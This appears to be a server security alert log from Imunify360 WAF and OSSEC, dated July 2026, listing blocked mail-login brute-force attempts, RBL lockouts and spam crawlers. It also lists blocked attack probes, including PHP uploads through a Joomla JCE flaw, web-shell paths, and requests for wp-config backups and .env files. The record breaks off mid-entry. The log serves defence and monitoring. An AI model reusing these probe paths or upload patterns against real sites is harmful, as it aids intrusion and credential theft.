country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://hvacrepair3.info\">website</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 24 02:21:16 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://acrepair3.info\">homepage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.46.124.0
country_id: 3686110
description:
Jul 24 02:22:12 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.46.124.0 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.46.124.0
country_id: 3686110
description:
2026-07-24 02:22:14 dovecot_login authenticator failed for H=(111-70-9-143.emome-ip.hinet.net) [201.46.124.0]:1370: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.43.105.11
country_id: 3469034
description:
Jul 24 02:22:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.43.105.11 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.43.105.11
country_id: 3469034
description:
2026-07-24 02:22:26 dovecot_login authenticator failed for H=([199.58.185.11]) [177.43.105.11]:45515: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.33.165
country_id: 1668284
description:
2026-07-24 02:23:12 dovecot_login authenticator failed for H=111-70-33-165.emome-ip.hinet.net ([203.194.5.183]) [111.70.33.165]:57802: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.209.249.46
country_id: 2661886
description:
Jul 24 02:23:27 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.209.249.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.209.249.46
country_id: 2661886
description:
2026-07-24 02:23:29 dovecot_login authenticator failed for H=h83-209-249-46.cust.bredband2.com ([49.124.153.29]) [83.209.249.46]:56242: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.173.7.121
country_id: 2017370
description:
Jul 24 02:23:40 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.173.7.121 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.173.7.121
country_id: 2017370
description:
2026-07-24 02:23:42 dovecot_login authenticator failed for H=(187.058.067.17.static.host.gvt.net.br) [31.173.7.121]:40264: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 02:24:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 160.153.176.197
country_id: 6252001
description:
Jul 24 02:29:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 160.153.176.197 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 02:32:51 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 02:33:09 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 02:35:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 02:36:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.117.126.160
country_id: 2661886
description:
Jul 24 02:41:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.117.126.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.117.126.160
country_id: 2661886
description:
2026-07-24 02:41:32 dovecot_login authenticator failed for H=h82-117-126-160.cust.bredband2.com ([49.124.152.162]) [82.117.126.160]:55182: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.30.11.253
country_id: 6252001
description:
2026-07-24 02:41:51 dovecot_login authenticator failed for H=(broadband-95-84-137-185.ip.moscow.rt.ru) [23.30.11.253]:35588: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 23.30.11.253
country_id: 6252001
description:
Jul 24 02:41:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 23.30.11.253 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 24 02:42:38 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 144.124.232.104
country_id: 2750405
domain: cochinbigbandshow.com
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77141095r77142192||MV:02-43.144.124.232.104||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 02:47:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://acrepair3.info\">homepage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 103.59.161.173
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/cuovirrl/fonts/arwjexsp.PHP||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.59.161.173
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:ndwsutlm.xml.php||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 165.22.198.217
country_id: 2750405
domain: ibmcglobal.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-96cfb0fc57f6ba0d5a7a81ee80c39614.xml.PHP||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 02:55:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 02:56:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 02:57:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 02:58:22 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.192.3.227
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://hvacemergencyservice3.info\">site</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 108.187.42.56
country_id: 1880251
domain: metrodigitals.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:sec-8f8d1fcc61.xml.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 24 03:04:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.23.203.138
country_id: 1269750
description:
Jul 24 03:08:06 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.23.203.138 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.203.138
country_id: 1269750
description:
2026-07-24 03:08:08 dovecot_login authenticator failed for H=([121.202.206.76]) [125.23.203.138]:50504: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.46.161.220
country_id: 2017370
description:
Jul 24 03:08:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.46.161.220 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.46.161.220
country_id: 2017370
description:
2026-07-24 03:08:20 dovecot_login authenticator failed for H=([49.124.131.248]) [178.46.161.220]:46744: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 03:09:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 03:14:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.16.65.185
country_id: 2215636
description:
2026-07-24 03:16:07 dovecot_login authenticator failed for H=([189.108.215.39]) [165.16.65.185]:42383: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.234.232.184
country_id: 1814991
description:
Jul 24 03:15:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.234.232.184 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.234.232.184
country_id: 1814991
description:
2026-07-24 03:15:55 dovecot_login authenticator failed for H=([61.191.145.123]) [120.234.232.184]:5114: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.16.65.185
country_id: 2215636
description:
Jul 24 03:16:05 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.16.65.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 03:17:54 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.147.248.23
country_id: 1269750
description:
Jul 24 03:18:18 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.147.248.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.147.248.23
country_id: 1269750
description:
2026-07-24 03:18:20 dovecot_login authenticator failed for H=([211.175.71.57]) [103.147.248.23]:48812: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.230.51.88
country_id: 1814991
description:
Jul 24 03:18:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.230.51.88 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.230.51.88
country_id: 1814991
description:
2026-07-24 03:18:59 dovecot_login authenticator failed for H=([222.124.249.132]) [122.230.51.88]:34127: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 03:19:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.168.228.242
country_id: 953987
domain: www.ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 1.234.27.159
country_id: 1835841
description:
Jul 24 03:20:25 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 1.234.27.159 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 03:21:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 78.191.50.245
country_id: 298795
domain: stcinemas.co
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:96640.stcinemas.co||ServerName:stcinemas.co||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ed2eaa069da34f05f83d0e1d2cc66f3613fa5e12||Title:0x7734da99||RSV:8.35||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 72.56.189.189
country_id: 2017370
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://wikitoyes.org/index.php?title=Benutzer:HallieE845\">\xd1\x81\xd0\xb0\xd0\xb9\xd1\x82 \xd1\x80\xd0\xb0\xd0\xbc\xd0\xb5\xd0\xbd\xd0\xb1\xd0\xb5\xd1\x82</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 24 03:25:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.122.196.230
country_id: 1814991
description:
Jul 24 03:26:52 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.122.196.230 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.122.196.230
country_id: 1814991
description:
2026-07-24 03:26:54 dovecot_login authenticator failed for H=([14.20.77.129]) [118.122.196.230]:52825: 535 Incorrect authentication data (set_id=logodesign.netloginjijo@ddgalaxy.in)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 58.218.195.26
country_id: 1814991
description:
Jul 24 03:27:11 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 58.218.195.26 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.218.195.26
country_id: 1814991
description:
2026-07-24 03:27:13 dovecot_login authenticator failed for H=([83.136.176.50]) [58.218.195.26]:64384: 535 Incorrect authentication data (set_id=logodesign.netloginjijo)


plugin: modsec
rule: 77469916
abuser: 125.166.1.225
country_id: 1643084
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcejaj0b93b.xml.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 03:31:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.46.192.20
country_id: 2510769
description:
2026-07-24 03:33:06 dovecot_login authenticator failed for H=(l193151.ppp.asahi-net.or.jp) [193.46.192.20]:44083: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 110.25.110.135
country_id: 1668284
description:
Jul 24 03:33:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 110.25.110.135 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.110.135
country_id: 1668284
description:
2026-07-24 03:33:21 dovecot_login authenticator failed for H=110-25-110-135.adsl.fetnet.net ([65.20.153.146]) [110.25.110.135]:50514: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 03:35:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.191.106.186
country_id: 1814991
description:
Jul 24 03:35:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.191.106.186 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.195.26.54
country_id: 1814991
description:
Jul 24 03:37:29 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.195.26.54 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.97.189.120
country_id: 1814991
description:
Jul 24 03:37:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.97.189.120 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.97.189.120
country_id: 1814991
description:
2026-07-24 03:37:10 dovecot_login authenticator failed for H=([174.64.199.87]) [119.97.189.120]:51328: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.195.26.54
country_id: 1814991
description:
2026-07-24 03:37:31 dovecot_login authenticator failed for H=([70.166.167.44]) [120.195.26.54]:32786: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 03:40:19 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.242.158.155
country_id: 1819730
description:
Jul 24 03:40:26 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.242.158.155 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.92.28.238
country_id: 3469034
description:
Jul 24 03:42:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.92.28.238 has been locked due to Imunify RBL


plugin: modsec
rule: 77350374
name: IM360 WAF: Scan attempt by bytespider crawler
abuser: 110.249.202.162
country_id: 1814991
domain: metrodigitals.com
description:
IM360 WAF: Scan attempt by bytespider crawler||UA:Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.150
country_id: 1733045
description:
2026-07-24 03:42:09 dovecot_login authenticator failed for H=([203.229.208.123]) [49.124.152.150]:48004: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.92.28.238
country_id: 3469034
description:
2026-07-24 03:42:23 dovecot_login authenticator failed for H=([45.55.133.80]) [187.92.28.238]:57534: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.90.233.165
country_id: 1814991
description:
2026-07-24 03:46:03 dovecot_login authenticator failed for H=(syn-070-120-009-176.res.spectrum.com) [222.90.233.165]:55569: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 47.95.209.74
country_id: 1814991
description:
Jul 24 03:45:08 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 47.95.209.74 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 222.90.233.165
country_id: 1814991
description:
Jul 24 03:46:01 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 222.90.233.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.208.253.159
country_id: 2077456
description:
Jul 24 03:46:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.208.253.159 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.208.253.159
country_id: 2077456
description:
2026-07-24 03:46:17 dovecot_login authenticator failed for H=(mx-ll-223.204.203-127.dynamic.3bb.in.th) [118.208.253.159]:32905: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 143.198.143.161
country_id: 6252001
description:
Jul 24 03:46:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 143.198.143.161 has been locked due to Imunify RBL


plugin: modsec
rule: 77350212
name: IM360 WAF: Information Disclosure Attempt in WordPress
abuser: 217.160.68.147
country_id: 2921044
domain: 103.185.74.189
description:
IM360 WAF: Information Disclosure Attempt in WordPress||MV:/wp-config.php.old||RSV:8.35||T:APACHE||REQUEST_URI:/wp-config.php.old||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.160.68.147
country_id: 2921044
domain: 103.185.74.189
description:
IM360 WAF: Bad file extension||RSV:8.35||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:root||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.168.228.242
country_id: 953987
domain: globalgroupoman.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.35||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/globalgroupoman/public_html/wp-admin||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.43
country_id: 130758
description:
Jul 24 03:54:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77469916
abuser: 151.241.154.214
country_id: 6252001
domain: travelinbh.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:yoru_5c612d33.php||RSV:8.35||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.109.89
country_id: 3017382
description:
Jul 24 03:56:36 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.109.89 has been locked due to Imunify RBL


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 192.198.108.247
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://maps.app.goo.gl/VEmfwXSQkQf7qF2e7\">Dumpster Rental Knoxville TN</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.35||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.182.118
country_id: 1269750
description:
2026-07-24 04:00:26 dovecot_login authenticator failed for H=([45.82.110.150]) [125.19.182.118]:49592: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.178.194.203
country_id: 2017370
description:
2026-07-24 04:00:44 dovecot_login authenticator failed for H=(59-120-186-181.hinet-ip.hinet.net) [178.178.194.203]:37930: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 125.19.182.118
country_id: 1269750
description:
Jul 24 04:00:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 125.19.182.118 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.173.17.17
country_id: 1814991
description:
Jul 24 04:00:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.173.17.17 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.178.194.203
country_id: 2017370
description:
Jul 24 04:00:42 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.178.194.203 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.205.239.91
country_id: 2921044
description:
Jul 24 04:01:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.205.239.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.82.14.214
country_id: 2750405
description:
Jul 24 04:02:31 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.82.14.214 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.82.14.214
country_id: 2750405
description:
2026-07-24 04:02:33 dovecot_login authenticator failed for H=84-82-14-214.fixed.kpn.net (firewall01.practicetechnologies.ml.zerolag.com) [84.82.14.214]:52590: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.180.233.208
country_id: 2017370
description:
Jul 24 04:02:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.180.233.208 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.180.233.208
country_id: 2017370
description:
2026-07-24 04:02:16 dovecot_login authenticator failed for H=([178.176.250.149]) [94.180.233.208]:50612: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 6013
